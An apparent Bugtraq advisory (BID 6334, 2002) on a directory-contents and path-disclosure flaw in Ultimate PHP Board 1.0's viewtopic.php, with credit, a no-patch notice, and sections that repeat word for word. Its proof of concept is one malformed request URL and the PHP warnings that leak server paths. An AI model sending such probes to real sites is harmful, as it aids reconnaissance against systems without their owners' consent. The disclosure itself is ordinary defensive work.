Ultimate PHP Board ViewTopic.PHP Directory Contents Browsing Vulnerability
BID:6334
Info
Ultimate PHP Board ViewTopic.PHP Directory Contents Browsing Vulnerability
| Bugtraq ID: | 6334 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 08 2002 12:00AM |
| Updated: | Dec 08 2002 12:00AM |
| Credit: | Vulnerability discovery credited to "euronymous" <[email protected]>. |
| Vulnerable: |
Ultimate PHP Board Ultimate PHP Board 1.0 final beta |
| Not Vulnerable: | |
Discussion
Ultimate PHP Board ViewTopic.PHP Directory Contents Browsing Vulnerability
Ultimate PHP Board (UPB) is a freely available, open source PHP Bulletin Board. It is available for the Unix and Linux operating systems.
Under some circumstances, it may be possible to disclose the contents of directories. By passing a malicious request to the viewtopic.php script, UPB may return a listing of the directory. This could be futher refined to disclose the contents of selected files.
Ultimate PHP Board (UPB) is a freely available, open source PHP Bulletin Board. It is available for the Unix and Linux operating systems.
Under some circumstances, it may be possible to disclose the contents of directories. By passing a malicious request to the viewtopic.php script, UPB may return a listing of the directory. This could be futher refined to disclose the contents of selected files.
Exploit / POC
Ultimate PHP Board ViewTopic.PHP Directory Contents Browsing Vulnerability
The following example was provided by "euronymous" <[email protected]>:
Input:
http://example.com/phorum/viewtopic.php?id=some_shit&t_id=2
Output:
Warning: Unable to access ./data_dir/some_shit.dat in
/home/samcom/public_html/public/messageboard2/textdb.inc.php on
line 240
..
Warning: Supplied argument is not a valid File-Handle resource
in /home/samcom/public_html/public/messageboard2/textdb.inc.php
on line 241
..
The following example was provided by "euronymous" <[email protected]>:
Input:
http://example.com/phorum/viewtopic.php?id=some_shit&t_id=2
Output:
Warning: Unable to access ./data_dir/some_shit.dat in
/home/samcom/public_html/public/messageboard2/textdb.inc.php on
line 240
..
Warning: Supplied argument is not a valid File-Handle resource
in /home/samcom/public_html/public/messageboard2/textdb.inc.php
on line 241
..
Solution / Fix
Ultimate PHP Board ViewTopic.PHP Directory Contents Browsing Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Ultimate PHP Board ViewTopic.PHP Directory Contents Browsing Vulnerability
References:
References:
- XSS and Path Disclosure in UPB ("euronymous"